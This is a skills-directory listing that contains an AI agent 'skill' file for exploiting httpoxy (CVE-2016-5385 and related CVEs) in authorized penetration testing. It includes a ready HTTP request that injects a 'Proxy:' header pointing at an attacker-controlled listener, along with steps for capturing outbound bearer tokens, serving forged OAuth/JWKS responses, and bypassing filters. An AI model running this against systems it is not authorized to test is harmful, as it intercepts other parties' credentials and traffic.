httpoxy (CVE-2016-5385 PHP, 5386 Go, 5387 Apache httpd, 5388 Tomcat, 1000109/110 HHVM/Python) — the Proxy request header maps onto the CGI HTTP_PROXY env var, redirecting the app's outbound HTTP through an attacker proxy (SSRF/MITM). Tier 1. Use on CGI/FastCGI apps that make outbound HTTP calls.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Httpoxy?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-httpoxy)
---
name: httpoxy
description: httpoxy (CVE-2016-5385 PHP, 5386 Go, 5387 Apache httpd, 5388 Tomcat, 1000109/110 HHVM/Python) — the Proxy request header maps onto the CGI HTTP_PROXY env var, redirecting the app's outbound HTTP through an attacker proxy (SSRF/MITM). Tier 1. Use on CGI/FastCGI apps that make outbound HTTP calls.
---
# httpoxy (CVE-2016-5385 and family)
CGI places request headers into env vars prefixed `HTTP_`, so a `Proxy:` header becomes `HTTP_PROXY`. Libraries that honor `HTTP_PROXY` then route the server's outbound requests through the attacker's host — a namespace collision with real impact.
## Trigger phrases
`httpoxy, cve-2016-5385, proxy header, http_proxy, cgi ssrf, outbound proxy hijack`
## Preconditions
App runs under CGI/FastCGI (or otherwise copies `Proxy:` into the environment) AND makes server-side outbound HTTP using a client that reads `HTTP_PROXY` (PHP Guzzle/artax, Go `net/http` pre-fix, Python `requests`/urllib under CGI, etc.). Affected: PHP (5385), Go (5386), Apache httpd mod_cgi (5387), Tomcat (5388), HHVM, Python CGI.
## Method
1. **Identify an outbound-fetch feature:** webhooks, URL preview, OAuth token exchange, SSO metadata fetch, payment/callback, "import from URL" — anything where the server calls out.
2. **Inject the Proxy header** pointing at your OAST/listener:
```
GET /feature-that-calls-out HTTP/1.1
Host: target
Proxy: http://<id>.OAST:80
```
Also try `Proxy: <attacker-ip>:port` and header-case variants. A connection to your proxy from the target = confirmed; you then see (and can MITM) the outbound request, including Authorization/tokens it carries.
3. **Confirm via OAST:** run a listener (interactsh/`nc`/mitmproxy). The intercepted request reveals internal URLs, secrets, and lets you tamper responses to the app.
## Modern / rare techniques
- **Secondary SSRF/credential theft:** the hijacked outbound call often carries bearer tokens or signs with secrets → capture them. Serve crafted responses to confuse the app (e.g. fake OAuth/JWKS).
- Mostly historical but still found on legacy CGI stacks, embedded devices, and apps pinned to old language runtimes — always worth a one-shot probe on outbound features.
## Bypass / evasion
Try `Proxy` in different cases and with/without port; some stacks only map it on specific SAPIs. `${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md`.
## Escalation / chaining
Captured tokens → `web-jwt-oauth`/`oauth`, API auth; MITM of outbound → response-tampering logic bugs; broader SSRF → `web-ssrf`.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike). interactsh/mitmproxy as the catch proxy; Burp Repeater to set the header. See `zazy-orchestrator`.
## Verification (background, before reporting)
Confirm with an inbound connection to your proxy from the target IP; reproduce and capture the proxied request. For blind cases rely on OAST before concluding negative. Report true positives only.
## Evidence
The feature abused, the `Proxy:` header sent, proxy/OAST log showing the target's outbound request (and any captured secret, redacted). Remediation: strip/ignore the `Proxy` request header at the web server/WAF, patch the runtime (PHP/Go/Apache/Tomcat fixed versions), don't trust `HTTP_PROXY` in server-side HTTP clients.